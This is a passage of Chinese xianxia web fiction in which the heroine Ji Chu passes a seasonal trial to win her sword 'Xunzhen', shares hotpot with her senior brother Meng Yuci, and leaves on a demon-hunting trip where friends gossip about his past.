灵鹤见他不再动手,也放下翅膀,长喙张开无声叫了两下,而后细长双腿一迈,重新隐于院墙之间。 孟喻辞这才垂眸,看向自己胸前抵着的这颗毛绒绒的脑袋,长指顺过她的头发,将几根竖起来的发丝往下压了压。 然后他忽然说: “纪楚,你想不想……得到一把剑?” * 纪楚跟在孟喻辞身后,沿着秘宝阁的台阶往下走,一直走到了最底层。 按理来说,层数增加,储藏的宝物就该越稀 有越珍贵才对。 然而她站在第六层中间,却发现四周空空荡荡,根本没有任何宝物的踪迹。 她不由得看向孟喻辞: “师兄,你不是说,要带我来找本命剑吗?可是这里没有剑啊?” 师兄看着也不像是会耍她的人啊? 可大半夜不让她回去睡觉,却带她来这片空地站着,又是什么意思? 纪楚心想。 “别急。” 孟喻辞看她一眼,抬手在虚空中画了一道符。 浅色光点从地上冒出来,漂浮着移动,自两人站立的地方向外延伸,点成线,线绕圈,逐渐将整个第六层覆盖。 纪楚与师兄两人站在中间,仿佛被封进了一个巨大的亮着光的箱子。 无数光点在她面前漂浮移动,像星星,又像萤火虫。 纪楚没见过世面,类似的情况她只能想到问仙大会上的“万象天罗盘”。 “这是要把我们传送到小世界去吗?” “不是。” 孟喻辞轻轻摇头: “这里的宝贝并非寻常之物,你若想要得到其中一个,就得先经过它的考验。” “考验?” 纪楚一脸好奇,忍不住伸出一根手指,想去戳其中一个漂浮的光点。 但她还没碰到那个光点,很快就有另一个光点飞速游了过来,一头将她指尖快要碰到的那个光点撞飞,然后主动地、缓慢地靠近她。 纪楚惊讶: “它会动!” “嗯。” 孟喻辞靠近她,目光落在这个朝她凑过来的光点上,神色温和: “它很喜欢你。” 然后他说:“不要害怕,我在你身边。” “这有什么可怕的?” 纪楚疑惑,转头看向师兄,本想再调侃一句“师兄怎么知道它喜欢我”。 谁知下一刻,原本一直在缓慢移动的光点忽然一个加速撞上她的指尖,随后爆成一片更加零散的光,兜头将她罩住。 纪楚只觉身形一晃,整个人都被吸进了什么地方。 待她稳住身形,发现自己站在一片草地中央。 草叶翠绿,在她面前铺开了一片无边无际的碧海。 空中微风拂面,送来草木芬芳。 纪楚看着眼前春和日暖的场景,有点纳闷: “这就是考验吗?” 一个光点漂浮着到她面前——是先前撞她的那个——绕着她转了一圈,然后朝前跑去。 纪楚下意识跟着走了两步,草丛勾住她的裙摆,有点走不动。 那光点于是在她前面不远处停下,似乎在等她。 纪楚低头看向勾住她的草茎,伸手拽了拽自己的裙子,然而裙摆旁边的草叶却像是八爪鱼一样,怎么都拽不开。 纪楚皱眉,扎马步,用力—— 眼前绿影一晃,勾住她的草茎非但没有被甩开,反而随着她的动作飞速生长,眨眼便有半人之高。 伴随着“噗嗤”一声,原本细嫩的草叶也变成了大而锋利的刀子,裙摆布料被“叶片刀”划断长长一截。 若非纪楚躲闪及时,被割断的就不是裙子,而是她的腿了。 纪楚心有余悸,意识到这里只是看着漂亮,实际上危险重重,不敢再轻举妄动。 但是她不动,那漂浮着的光球却又不肯了。 光球调转回身,托着一串盈盈光晕组成的长尾,到她身边后绕着她转了一圈。 霎时间,已经半人高的植物再次猛的拔高,如参天巨树般屹立在纪楚四周。 纪楚躲闪不及,被密密匝匝的植物封在了中央。 而围成一圈的树干还在不断膨胀,枝叶遮天蔽日,堵死了她所有的出路,连头顶的天都封死了。 纪楚:“……” 窒息。 她试图撞出去,但这不断生长的植物显然不是普通的草木,坚硬如铁,灵力打在上面纹丝不动,连个印子都没留下。 头顶那光球还在旋转,一圈圈的植物被其催化生长,一层层包裹住被困在中央的人。 这下子,是真的连条缝都不给她留。 纪楚两手抵住树干,试图缓解树干朝她挤压过来的速度。 但这显然没有用。 她无法抵抗“春季万物复苏”的力量,只能被迫收缩手臂,几乎可以听见手臂骨骼“咯吱咯吱”的声响。 眼看树干快要把她活活挤扁,纪楚咬咬牙,忽然放松了力气,由着树干和枝叶靠近并怼上她的脸。 从远处望去,纪楚简直像是已经被层层叠叠的植物完全吞噬了。 就在连漂浮着的光点都以为她要放弃的时候,纪楚忽然轻飘飘说了句: “砍树,我是专业的。” 下一刻,最中间的树冠猛得一颤,带动周围一圈树木都跟着抖动不休。 很快这份震颤便如同水波纹般朝外蔓延开来,遮天蔽日的树冠朝外裂开一道道缝隙,像是湖泊被人从正中间扔了一块石头。 纪楚的剑气便从那最中间的一点猝然冲出。 枝折叶断,叶片纷飞。 她竟折枝为剑,单手化出剑气,虽无剑刃却有剑形,生生将最中间的一圈树沿着枝干削了个整圈。 而后踏枝而上,一脚踩在最高的树干上,冲着半空漂浮的光点做了个“略略略”的动作。 尽管修为不如师兄强盛,却也将他折枝为剑、化意为形的气势学了八成。 孟喻辞目睹这一幕,笑着赞了句: “不错。” “师兄?” 纪楚听见这句仿佛近在咫尺的夸赞,立马收回鬼脸,抬头看向虚空,满脸惊喜: “是你在夸我吗师兄?” “是我。” 师兄的声音从她身边传来,应该离她很近,但纪楚看了一圈,也没见到除她以外的第二个人。 想来这个考验只能旁观不能参与,师兄定是在哪看着她。 于是纪楚骄傲道: “毕竟我是师兄你教出来的,肯定不能让你丢脸!” 她昂着头,对着虚空拍拍胸口,眼睛亮晶晶: “师兄你就看好吧,我肯定能通过考验!” 孟喻辞看着她傲娇小猫似的脸,笑着应道: “嗯,我信你。” * 纪楚的大话说的有点早。 “春生”只是个开始,接下来又有“夏长”的各路妖怪将她暴打一顿,“秋收”的变异植物又险些将她连人带“树枝剑”一口吞了。 这期间,那个据说“很喜欢她”的光点就一直飘在她头顶,每每见她“游刃有余”,便主动飞来“添油加醋”,将纪楚气的半死。 她真的不理解,师兄到底从哪看出来的“它喜欢她”。 这分明是巴不得她失败啊! 纪楚愤愤不平地将咬着她腰的“花生”掰开,抬头看向远处。 最后一关,是“冬藏”。 鹅毛大雪扑扑簌簌落下,很快在地上积了厚厚一层。 入目可及皆是白茫茫一片,没有植物,没有发疯的妖怪,也不见那个一直搞事的光点。 什么都没有。 纪楚只能听见自己的呼吸声伴随着风声,在雪地的空隙间几经辗转,最后成了一种奇异的音调在耳边回旋。 太安静了。 她拔腿朝前走。 蓬松的雪被她踩实,发出“咯吱咯吱”的声响,又很快被新下的雪覆盖。 回头看去,地上依然是平整一片,连个脚印都没留。 纪楚走了一会儿,开始觉得冷,想吃火锅。 她搓了搓手。 按理来说修士不该这么怕冷,但不知道是她的心理作用,还是这里的雪有问题,她觉得自己快要被活活冻成冰块了。 没一会儿她就走不动了,于是抱着自己的胳膊缓缓蹲了下去。 大雪跟不要钱似的往她身上飘,很快就把她浑身上下覆盖了一层厚厚的雪。 一开始她还觉得,自己该动起来,不然这个雪很可能会累积到比她头还高,到时候就推不开了。 但人冷得时候连眨眼都觉得费力,甚至萌生出一种要不然就睡在这儿吧,“以雪为床、以雪为被”也挺浪漫的。 她挣扎了一会儿,最终还是败给了寒冷,像个缩成一团的雪人一样,窝在雪地里,彻底安 静下去了。 画面外,孟喻辞蹙眉看向雪地中央那一点凸起的弧度,开口唤她: “纪楚,快起来。” 纪楚哼哼两声,示意自己还活着。 孟喻辞语气带了点严厉: “起来。” 这俩字就和他教纪楚练剑时一样,十足冷酷无情。 纪楚条件反射般从地上弹了起来。 这个动作就让她十分费力,毕竟身上压着的雪厚实到可以活埋三个这样的她。 坐起来以后,纪楚也终于清醒了几分,知道自己再躺下去肯定会变成被“冬藏”的倒霉蛋,于是她掐了一把自己的脸,逼迫自己站起来。 可站起来以后呢? 入目可及全是白茫茫的雪,别说光点了,连白色以外的其他颜色都没有,她根本不知道自己该往哪儿去。 纪楚又愣在原地不动了,大雪很快朝她肩膀和头上压了下来。 孟喻辞忽然问她: “纪楚,你现在是要做什么呢?” 纪楚感觉自己的脑子也被冻僵了,乍然听见这个问题,想了半天也没想起来答案。 是啊,自己在这里冻得像狗一样,到底是要去做什么呢? 她转了转眼珠,忽然想到点什么,“蹭”地抬起手伸出食指放在脑袋旁边,身上积起来的雪块也被她的动作抖落到地上。 纪楚双眼发光,看起来神志清明。 孟喻辞微微颔首,心道“孺子可教”。 然后他听见纪楚用激动的语气说: “我要去吃火锅!”—— 作者有话说:师兄:你看我像不像火锅?[问号] (下一更还是明天早上[红心]等我修改好后面章节,过两天再加更[眼镜]) 第53章 “我要去吃火锅!” 纪楚扔下这几个铿锵有力回音绕梁的字眼后,师兄那边一下子安静下去,空气中只余一片沉默。 而她被冻僵的脑子也终于在这份沉默中回归了。 纪楚倒吸一口凉气。 师兄专程来陪她寻剑,她竟然只想着吃火锅?!她还喊这么大声这么理直气壮?! 纪楚心虚不已,偷偷掐了一把自己的大腿,正打算装出诚恳真诚的表情求师兄原谅时,却不期然听见一句十分平和的: “可以,回去吃。” 纪楚:“???” 纪楚:“!!!” 纪楚一个咸鱼翻身从雪地里蹦了出来: “真的吗师兄?你不会是在生气说气话吧?” 孟喻辞的语气格外平静: “想吃火锅而已,我为什么要生气?” “额……” 纪楚揉了揉脸,一边想着“师兄听起来确实不像生气的样子”,一边试探着问: “那火锅里有牛肉吗?” 师兄淡淡回道: “可以有。” 纪楚搓手: “可以有鱼吗?” “可以。” 纪楚两眼放光: “那火锅里可以有牛羊鸡鸭鱼虾生蚝莲藕土豆海带翠生菜吗?” 孟喻辞:“……可以。” 他赶在纪楚下一次张口前打断她: “你先取剑。” “好的师兄!保证完成任务!” 纪楚得了他的保证,顿时像是打了鸡血一样斗志满满。 但左右环顾一圈,除了雪就是雪,根本不知道能去哪里取剑。 她又泄了气,长叹一声,迈着沉重的步伐朝前走去。 过了一会儿。 “师兄……” 纪楚喊他。 “怎么了?” 听见他的回答,纪楚摇头: “没事,就是看看你在不在。” 她又走了一会儿,再度开口: “师兄……” 孟喻辞“嗯”了一声,她便继续摇头: “没事没事。” 孟喻辞:“……” 又过了一会儿。 “师……” 她才刚起了个头,孟喻辞就叫她名字: “纪楚。” 纪楚抿嘴,有种恶作剧被叫停的失望,虽然她一开始也不是想戏弄师兄。 孟喻辞却不是为了斥责她,而是十分耐心地问她: “你是不是……不知道该怎么走?” 纪楚沉默地踩雪。 她其实不是个特别聪明的人,很多时候都一直处在一种十分茫然的境况中,不知道该怎么做。 但同时,她又不算一个非常听话的人,就算旁人告诉她该做什么,她也总会在心里盘算: “我真的要这么做吗?” 这样看来,似乎没有必要询问别人的看法。 但是她又因而生出更大的茫然来,盼着有人推她一把,或者有事情逼她一逼,这样便不得不走到最终的那个结果。 或许……就像前世那样,她不得不动手杀魔王,最终也死在师兄手里。 …… 像是察觉到了她的低落,师兄的声音再度响起: “其实你不需要走最正确的路,只要一直朝前走便好。” 他音色如玉,带着一贯的平和淡然,却带给她一种“怎么选都会有人托底”的底气: “纪楚,问问你的本心,你真的不知道该怎么走吗?” “我……” 纪楚迟疑。 她眼前忽然闪现过许多前世的记忆。 有得知自己经脉堵塞、再难修行后的无措,有被人当做“替身”时的愤恨不甘,也有亲朋皆失时的悲痛绝望,还有…… 还有为师兄所厌弃、不知前路如何时的茫然。 事情很多,秘密也很多,她其实一直不知道该怎么办。 纵使重生,周围发生的许多事依然像隔着一层雾,桩桩件件看似真切存在,实则边缘模糊,摸不到实处。 而她脑子里有太多困惑,真相假相杂乱如毛线团,怎么都找不到头,更不知道能找谁帮忙解。 似乎她一直在被命运推动,从未主动选择过自己的路。 但是…… 纪楚眨了眨眼睛。 她又忍不住觉得,其实自己心里,一直有一条路。 或许是习剑,或许是想要变强,又或许是想要守住自己的朋友,守住和师兄的情谊…… 纵使一时半刻难以用言语形容,但她其实一直有想要前行的方向。 她完全可以坚定地朝前走。 在她沉默的这段时间,孟喻辞的目光始终落在她脸上。 他不知道自己在期待什么回答。 如果纪楚最终还是想不明白自己想走的路,如果她不敢朝前走,那也无妨。 他就此收手,此后定竭尽所能,护她平安,为她选一条安稳平静、没有波折的道路。 这些纷扰艰难,都由他这个师兄一人来承担。 但如果…… 他尚未理清自己的内心,就听到纪楚用坚定语气的说: “我知道的。” 她拍拍自己衣服上积攒起来的雪,转身,很是潇洒地冲着虚空摆了摆手,袖口上的雪花抖落,映出一片晶莹碎光: “我可以自己找的,师兄你就放心吧!” 孟喻辞被这一片碎雪晃了眼。 恍惚间,仿佛有微小但璀璨的雪花飘进他的眼睛里。 他条件反射般想要闭上眼睛,却又忍不住睁开,想要看清这片雪的模样。 纪楚已经走远了。 雪地上留下一串脚印,很快被积雪覆盖。 远处有个小小的身影走走停停,落在他瞳孔里,格外显眼。 他怔愣片刻,旋即又感受到一种半是欣慰、半是遗憾的复杂情绪。 她还是决定去找她自己的路。 或许她会摔倒,会痛苦,会怀念曾经一无所知的时光。 但他会始终陪在她身后,护她前行,送她扶摇直上。 她终会见到那个、或许连他都无法见到的 世界。 他看着纪楚的背影,感到一种无法言喻的欣慰和骄傲。 这是他的师妹啊…… 也是他全部的希望。 * 纪楚依然很冷。 除了冷,还有一种大话说早了的心烦。 不会吧,不会吧,不会真的有人能在一片空空荡荡的雪地里找到剑吧? 她碎碎念。 但已经大话已经放出去了,现在把师兄叫出来,岂不是显得很丢人? 再说了,寻把剑而已,师兄都把她带过来了,她难道连最后一关都过不了?! 纪楚心里的小人疯狂转圈: 这么大片雪地,这剑到底能藏哪儿去?!分明前几关的时候那光点一直绕着她搞破坏,这次却走了这么久都看不见…… 该不会是藏雪里了吧?! 她撇嘴,不走了,站在原地踢了一脚地上的积雪。 悉悉索索的声音,像踢了一脚碎叶子,反倒不太像雪。? 纪楚疑惑歪头。 她朝前走了两步,又踢了一下面前的雪。 积雪飞扬,不太对劲。 这雪里不会真有东西吧? 纪楚“欸”了一声,蹲了下来,一边搓了搓冻红的手,一边目不转睛地盯着面前地上的雪。 没有变化。 过了一会儿,纪楚抬手揉了揉眼睛,呼吸放缓,一动不动,继续盯着积雪。 细小干燥的雪花在她的注视下轻微地移动,如果不是她一直盯着,只怕也不会发现。 “哈……” 纪楚眯了眯眼睛,忽然抬手击掌,发出一声清脆的声响。 地上的雪花被她吓了一跳,移动的速度明显加快。 果然不对劲! 纪楚心里酝酿起被玩弄的不爽,磨了磨牙,调整姿势做出饿虎扑食状。 抓住机会猛的朝前一扑,双手重重按在飞速移动的雪上。 触手先是冰凉,随后又如同抓住了什么滑不溜手的泥鳅,没有形状,却飞快摆尾试图摆脱她。 纪楚不肯松手,双腿被积雪攀住,上半身又被那东西拽着,整个人失去平衡,一头砸进了雪地里。 吃了一嘴雪的纪楚:“……!” 她还没能反应过来,又被拖拽着朝前方掠去。 两边的雪景飞速后移,纪楚感觉自己的胳膊快要被磨出火星子,但她知道自己只要一松手,这东西定然会跑得渣也不剩,所以怎么被拖拽都不肯松手,甚至在心里默念剑诀,试图维持平衡。 灵力在她周围集聚,周围的雪躁动起来,呼啸着扑在她的脸上头上身上。 每一次碰撞都带来一种莫名的感觉,暴躁的,绝望的,心烦的,杂乱的…… 无数雪花变成光点,绕着她左右飘飞,试图将她拦下。 纪楚在中间左摇右晃,眼睛都快要睁不开。 心里那些烦躁的念头一点点被挤出大脑,她心里只剩下一件事: 她想要一把剑。 她想要一把属于她的剑! 一道光自她掌心冒出,以平滑流畅的线条顺着剑柄朝前延伸,逐渐凝实出长剑的形状。 冷锋映日,刃如霜雪。 剑锋破开雪雾,如同裁开一片纸张,流星白羽,飒沓横秋。 幽光闪过,映出剑面上“寻真”二字,似一道流星猝然划过夜空,带来难以言喻的震撼。 纪楚愣住,无法形容那一瞬间的感受。 似触摸到了浩瀚星空,却又只能碰到自己的心跳。 手中长剑安静下来,不再试图甩开她,而是像自她掌心生出来一般服帖融洽。 剑刃轻鸣,似在与她对话。 只是还未等纪楚反应过来,眼前的雪景便被“寻真”剑切出了一道口子。 秘宝阁上空骤然星图闪现,一道剑光划过纠缠在一起的星空,曳出长尾,直冲天际而去,其势锐利,不可挡也。 半空中的星图与剑光很快消失不见,只有有心人才能察觉这一刻的变数。 纪楚站在雪地的边界处,随着雪景的破碎,她径直扑向雪景外一直等着的那个身姿修长的身影。 一团毛绒绒的、携带满身风雪的纪楚就这样划破虚空,重重撞进孟喻辞怀里。 他下意识展开双臂,将她稳稳抱住。 她身上的雪也兜头罩下,在两人头上、肩上盖了一层薄薄的白霜。 孟喻辞长睫轻颤,霜雪融化,变成细小的水珠挂在他长而浓密的眼睫上,如同下了一场淅淅沥沥的春雨,视野潮湿而迷蒙着雾气。 他在这片雨雾中轻轻侧首,看向环在他脖子上的纪楚。 纪楚此刻终于回过神来,激动的、喜悦的、震撼的,各种情绪一窝蜂涌上心头,她也顾不上现在和师兄抱着的姿态有多亲密了,两手绕过他脖子,整个人挂在他身上,捧着一柄长剑“啊啊啊”地叫。 “师兄!师兄你快看!我的剑!我找到剑了!我真的找到剑了!” 孟喻辞稳住身形,将她抱得更稳当些。 一边暗道:他又不是背后长了眼睛,如何能看到身后的东西? 只一个劲儿地大喊着叫他去看,却抱着他的脖子不让他扭头,咋咋呼呼的,可真不体贴。 虽然这么想着,孟喻辞仍腾出一只手来,帮她把头发上的积雪拂去,而后弯起眼睛,目光落到她后颈。 浅色的花瓣若隐若现,昭示着他和纪楚独一无二的联结,像个只有他才知道的秘密。 纪楚的兴奋没能得到回应,又腾出一只手拍他肩膀: “师兄!师兄你到底有没有在看!我找到剑了!” 他于是启唇,低声道: “看到啦。” “恭喜你,我的……师妹。”—— 作者有话说:师兄《优秀剑修养成》小课堂开课啦—— 纪楚:(忽然警惕)[问号]师兄你这么费劲培养我不会是想最后搞个大的吧[问号] ps:我的师妹 重点在“我的”还是在“师妹”呢?[摸头] 明天上夹,更新时间调整到晚上十一点,届时双更奉上[红心] 第54章 拂宇仙宗藏剑“寻真”,既没有龙泉湛卢之类的名气,也没有少微这样因主人的而扬名的机缘。 放眼两世,纪楚都不曾听说过这柄剑的名字。 但她并不失望,反倒十分高兴。 毕竟,这是两世以来第一次,她真正拥有了一把独属于自己的本命剑,而非宗门随意分发的弟子佩剑。 现在籍籍无名不算什么,她定会带着自己的剑,一起修行,然后名扬天下! 而带她找到这把剑的师兄,无疑是全世界对她最好的人! 她决定永远追随师兄! 纪楚看了一眼背对着她的孟喻辞,压下嘴角的笑,一本正经道: “一朝悟道见真我,何惧昔日旧枷锁。” “玄,太玄了。不愧是我纪楚的剑,连剑铭都如此的卓尔不凡、妙不可言!” 见她一脸的骄傲,孟喻辞不禁问道: “读懂了吗?” 纪楚的脸顿时拉了下来: “其实没有。” 她坐在地上,连站起来都懒得,抱着剑左摇右晃一挪一挪的到孟喻辞身边,仰着脸看他: “师兄,为什么你会说,是这把剑选择了我呢?可是我连剑铭都看不懂啊?” 孟喻辞回头看她一眼。 他手上动作不停,利落地将胡萝卜片削成兔耳朵的形状,架在豆腐模样的兔子身体上,一边说: “宝剑择主,更重缘分与心性。至于剑铭……” 他比照着纪楚眼巴巴的模样,调整了一下兔子的造型,这才淡淡道: “慢慢悟吧。” 纪楚:“……” 她撇嘴,又抱着心爱的剑挪回了锅旁。 热气从锅里冒出来,火锅的香气将师兄的院子都染上了烟火气。 纪楚又好奇扭头看向师兄。 他正在给素菜摆盘,里面的食物不是被切成星星就是切成花朵,还有可可爱爱的兔子,哄小孩似的,简直比专业厨子还要精细。 纪楚和那个神态酷似她的兔 子大眼瞪小眼了一会儿,忍不住问他: “师兄,你为什么连做饭都这么厉害……而且为什么会让我在你的院子里吃火锅啊?” 孟喻辞动作一顿,将盘子放好,侧身看她: “怎么?你不愿意?” “倒也没有不愿意……” 纪楚自然摇头。 她环顾一圈师兄的院子,干净整洁,桃枝迤逦,而师兄本人清冷淡漠、俊逸出尘,怎么看都和自己面前这个咕嘟嘟冒着热气的火锅不太匹配。 更别说,师兄甚至正站在桌子旁边、一脸淡漠地给土豆片雕花。 纪楚眯起眼睛辨认了一番,总觉得师兄用的刀有点眼熟,像是少微剑变的。 ——简直诡异。 她瞎想一通的功夫,孟喻辞已经将肉也片好了。 少微剑削铁如泥,片肉更是手拿把掐,几乎可以看见里面的纹路。 纪楚忍不住流口水,终于将自己的宝贝剑放下,捧着盘子等饭。 孟喻辞将所有的食材都端到她跟前,围着她摆阵一样摆了一圈。 果然看见纪楚幸福地晃晃脑袋,左瞧瞧右瞧瞧,笑得眼睛都快没有了。 只是还没吃到嘴里,纪楚的传音玉就响了起来。 她拿起一按,许盈和蒋成旭的声音就迫不及待冒了出来,夹杂着陈梧小心翼翼的关心: “纪楚?你还好吗?” “到处都找不到你!我们快要担心死了!” 纪楚“啊”了一声,急忙道: “让你们担心了,我没事的,我在吃火锅……” “火锅?!” 许盈抓住关键词,顿时大喝一声: “如此危险之物,尔辈岂敢独食!我等速去相助!” 纪楚来不及说“师兄也在”,许盈几个人就已经闪现在了火锅旁边。 速度之快,简直让人怀疑传音玉可以传送活人。 纪楚:“……我刚刚没说完,师兄也在,这个火锅,是师兄做的。” 急匆匆赶来蹭饭的三人面对着中间的火锅沉默。 虽说宗门没有明令禁止弟子聚餐,但是他们向来吃火锅总喜欢做贼一样鬼鬼祟祟东躲西藏,吃的就是心跳和刺激。 如今直接坐在孟师兄面前,难免有种舞到掌门头上的张狂感。 未免有些太明目张胆了吧…… 纪楚一开始还觉得没什么。 经过这段时间的相处,师兄在她心里的形象已经变得和家人一样亲切,更别说师兄又是陪她取剑,又是亲自给她准备火锅,简直不要太贴心! 但见许盈他们各个垂头不语,宛如面壁思过一样盯着地板,她也跟着有点后知后觉的不自在。 确实啊,师兄到底在宗门里“余威深重”,就算坐在火锅旁边,也不像是来吃饭的,更像是来抓他们现形的! 纪楚于是默默把伸到半空的筷子又收了回去。 孟喻辞目光落到纪楚身上,见她眼珠子一直盯着锅里的肉不放,显然想吃极了,人却坚持跟鹌鹑一样坐着不动,不免有些不解。 于是他抽出一双筷子,从锅里捞了肉放进她碗里: “怎么不吃?” 纪楚捧着碗猛地扭头,脸颊旁乌发垂落,险些被她咬进嘴里: “师……师兄?” 孟喻辞又抬手变出一条发带,动作利索地将她垂落的头发绑起来。 许盈几人看着他无比自然的动作,齐齐张大了嘴。 纪楚放下碗,试图比划: “不是师兄你……” 孟喻辞又顺手将她的袖子挽了起来,然后将碗筷放回她手里,顺便把她的头发妥善地放到背后,然后说: “肉要煮老了。” 纪楚:“啊啊啊肉要老了?!” 她忘了自己要说什么,赶紧夹了一筷子肉塞进嘴里。 香,太香了。 肉质鲜美,爽滑弹牙,火候也煮的正正好。 师兄的厨艺真是越来越高,已经完全可以取代膳堂厨子了! 纪楚刚咽下嘴里的肉,孟喻辞就又帮她夹了一块。 然后他抬头看向剩下几个人,面色平和,淡淡开口: “你们不吃吗?” 许盈和蒋成旭莫名从他的眼神中感受到一丝“不吃就滚蛋”的威胁,立马捧着碗开始往嘴里扒米饭。 坐在纪楚旁边的陈梧后知后觉,也开始跟着他们扒米饭,只是动作要慢上许多。 纪楚见状,忍不住提醒: “别噎住了,你们也吃点菜啊。” 陈梧急忙一边点头,一边从锅里盲夹了一大块土豆模样的东西塞进嘴里: “吃的吃的——呃咳咳咳咳……” “啊,是不是吃到姜了……” 纪楚急忙放下碗,倒了一杯水递给陈梧。 孟喻辞给她夹菜的动作落了空。 他沉默着,把刚捞出来的鱼肉放到她碗里。 陈梧接过杯子吨吨吨喝了一通,看起来还是脸色通红,纪楚很是担心地拍了拍他的背: “怎么样?你还好吗?” 孟喻辞冷眼看着她动作。 看她一会儿递水一会儿拍背,连碗里的菜看都不看一眼。 许是背后的眼神太过冰冷,纪楚终于回过头,一口将碗里的鱼肉吞了,然后捧着碗送到师兄面前: “还想吃虾。” 许盈和蒋成旭扒饭的动作一顿,悄悄放慢了速度观察。 孟喻辞什么也没说,拿起筷子,捞了一只大虾放到她碗里。 纪楚三两口吃了,眼睛又看向锅里翻滚的土豆。 孟喻辞又精准夹出她想要的菜。 接下来,纪楚压根不用开口,眼神看向哪里,下一刻师兄就会精准选中后放进她碗里。 全程一句话不说,但从未出错。 许盈的眼神开始变得疑惑,扭头和蒋成旭对视一眼。 后者摇了摇头,给她夹了块豆腐。 许盈看着明显精雕细琢后变成兔子模样的豆腐,脸色更加古怪。 一顿饭吃的格外沉默,只有火锅在中间激昂翻滚。 吃完饭后,纪楚同孟喻辞告别,和许盈几人结伴离开。 憋了整顿饭的许盈终于忍不住问她: “什么情况?你和孟师兄到底什么情况?!” 纪楚先是疑惑,而后“啊哈”一声,一把抽出了自己的剑: “快看!师兄带我找到了本命剑!” 许盈的注意力立马转移到剑上: “哇——这个光泽度,这个流畅度……绝对是把宝剑啊!纪楚!你真是太幸福了!” 纪楚“哼嗯”,一脸得意。 蒋成旭道:“寻真……这名字听起来好特别,是孟师兄给你选的吗?” 许盈听罢,顿时回过劲儿来: “没错!纪楚,老实交代!” 纪楚一头雾水: “差不多吧……师兄说是这把剑喜欢我,是剑选了我。为了庆祝我找到剑,他才请我吃火锅的。” “是吗?” 许盈皱眉:“可是他……” 纪楚眨巴眼睛,等她继续说下去。 许盈反而不知道该怎么说了。 她只是觉得孟师兄对纪楚有点太过上心了,全程目光一直落在她身上。 但仔细想想,似乎也没什么不对的。 毕竟……他是纪楚的师兄嘛…… 或许孟师兄就是这么一个关爱师妹的好师兄? 许盈有点纳闷,又怕自己的猜测影响纪楚的心情,于是忍了又忍,最后说了句: “反正,和孟师兄一起吃饭也太可怕了……” “而且我都不敢问你,真的没有不开心吗?” 说完她又怕纪楚多心,急忙道: “你别听他们瞎传!就是那几个人嘴碎爱挑事……我今天把话撂这儿了,那谁谁要是敢出现,别说只是骂她几句了,你要是气不过,姐妹几个连沈长老都陪你一起打!” 陈梧也跟着点头说: “没错!纪楚,我们肯定站你的!” 纪楚被他们逗笑,拍了拍许盈肩膀,故意用怂怂的语气说: “还是别了吧,就咱们这点修为,沈长老一拳就把我们打扁了。” 说着她做了个“压扁”的手势。 许盈忍不住哈哈大笑起来。 看纪楚精神头尚好,她也有了开玩笑的兴致,故意说: “不用沈长老把我们打扁,一时半会儿的,我们可能不在宗门了。” 纪楚果然露出疑惑的表情。 许盈“啧”了一声: “你果然忘了!你现在是臻境弟子了,可以领取下山试练的任务了!” 说完,她和蒋成旭一左一右将纪楚架起来,不等纪楚反应过来,就示意陈梧召出云舟: “你的任务已经帮你领了,和我们一起去捉妖,就当下山散心,现在就出发!” 毫无准备的纪楚:“啊?”—— 作者有话说:等着师妹回来吃饭的师兄:“啊?” 插播一条师兄视角的火锅局: 纪楚:啊啊啊我的倒霉朋友要被姜呛死了!水在哪里?大夫在哪里?![求求你了] 师兄眼里的纪楚:放弃师兄妹单独相处的美丽时光,邀请“同龄异性”,关心“同龄异性”,为了“同龄异性”无视他的付出。 师兄:[白眼]迟早把碍事的都赶走。 第55章 纪楚就这样毫无准备地下了山。 虽然很是突然,但这次的任务简单到令人发指,显然是许盈他们听到谣言后怕她伤心,专门为她选的。 任务地点在人界一个叫“石溪村”的地方,风景优美,景色秀丽,一条清澈见底的小溪流过村庄,偶尔还能在里面摸出鱼。 纪楚他们要做的,就是抓住村子里那只半夜出没害人的妖。 一开始纪楚还想过要不要告诉师兄一声。 但由于和朋友们玩的太过开心,加上觉得师兄这样的人肯定不会在乎这点小事,于是她很快就把这件事抛到了脑后。 几人在小溪附近蹲守三天,期间由蒋成旭一日三餐抓鱼吃,蒸煮闷炖烤样样不落。 第三天晚上的时候,一直躲在暗处的猫妖终于忍不住了,趁着他们刷调料的功夫,流着口水冲过来抢鱼吃,不幸落网。 吃鱼果然容易被抓。 纪楚几人回忆起了般般鱼事件,引以为戒。 不能只吃鱼,于是又抓了几只虾烤着吃。 蒋成旭不知从哪儿搞来了一瓶果酒,几个人便在偏僻的地方摆了吃的喝的,聊起宗门的八卦。 话题很轻易便引到了孟师兄身上。 蒋成旭不愧是“百事通”,旁人听都没听过的消息,他却能从各种奇怪的地方打听到。 “我听说,孟师兄,和巫觋族有点关系。” 天色渐晚,林子深处的蝉鸣给这场夜谈增加了神秘的气氛。 巫觋族本就是个记录很少但后人揣测不停的存在,再加上孟师兄样貌好修为高,却从来不和大家亲近,可谓是实打实的传奇人物。 故而蒋成旭这话一出,几人立马屏气凝神,连虾都不吃了,只等着听八卦。 蒋成旭不愧是说书的一把好手,有模有样地清清嗓子,开始讲述: “其实这消息,是一个主峰的师姐的情人的师叔的道侣的祖老爷爷那儿传出来的,不一定是真的。” “师姐的情人的师……” 陈梧一脸懵,下意识伸出手指开始数人物关系。 蒋成旭继续说: “……这位师姐的情人的师叔的道侣的祖老爷爷也是个修士,听说他那个年代,修真界并不像现在这样规整,可以说是十分混乱。” “而他刚好经历了巫觋灭族那段时间,听闻那是一个仙魔不分、善恶混沌的恐怖年代……” 半天还在讲背景,许盈忍无可忍: “能不能说重点!” 蒋成旭“啧”了一声: “这都是重点,没耐心怎么听故事啊?” 眼看许盈又快要拔剑了,他赶紧改口: “行行行……总之,这位祖老爷爷正好撞上孟师兄满身是血出现在拂宇仙宗的那一幕。” “彼时巫觋族刚灭,人族更是死伤无数。孟师兄就这样提着一把尚在滴血的剑出现了。白衣染血,恶魂缠身,杀气凌凌。” 氛围酝酿够了,他话锋一转,道: “所以有人猜测,他就是那个屠灭了巫觋族的人。” “灭族?” 陈梧第一次听说这些,忍不住追问: “巫觋不是神族后裔吗?孟师兄他一个人,怎么可能……况且若是孟师兄真的屠了巫觋族,又怎么可能没事人一样,留在拂宇仙宗呢?” 许盈急忙举手,一脸笃定道: “我知道!众生同生于世间,多的是抢资源抢机缘的事情。一定是因为巫觋族内斗不休,孟师兄天资太高,无人可敌,生生杀出一条血路!连咱们掌门都不敢有异议!” 她的推理十分符合宗门上下流传的“孟师兄杀人不眨眼”的传言,得到了蒋成旭和陈梧的一致认可。 “有道理有道理。” 两人连连点头,深以为然。 许盈得到了认可,很是骄傲。 纪楚忍不住说: “有什么道理啊!师兄他不是那样的人!” 许盈用敏锐的目光盯住她: “你怎么知道他不是那样的人?” 纪楚:“……” 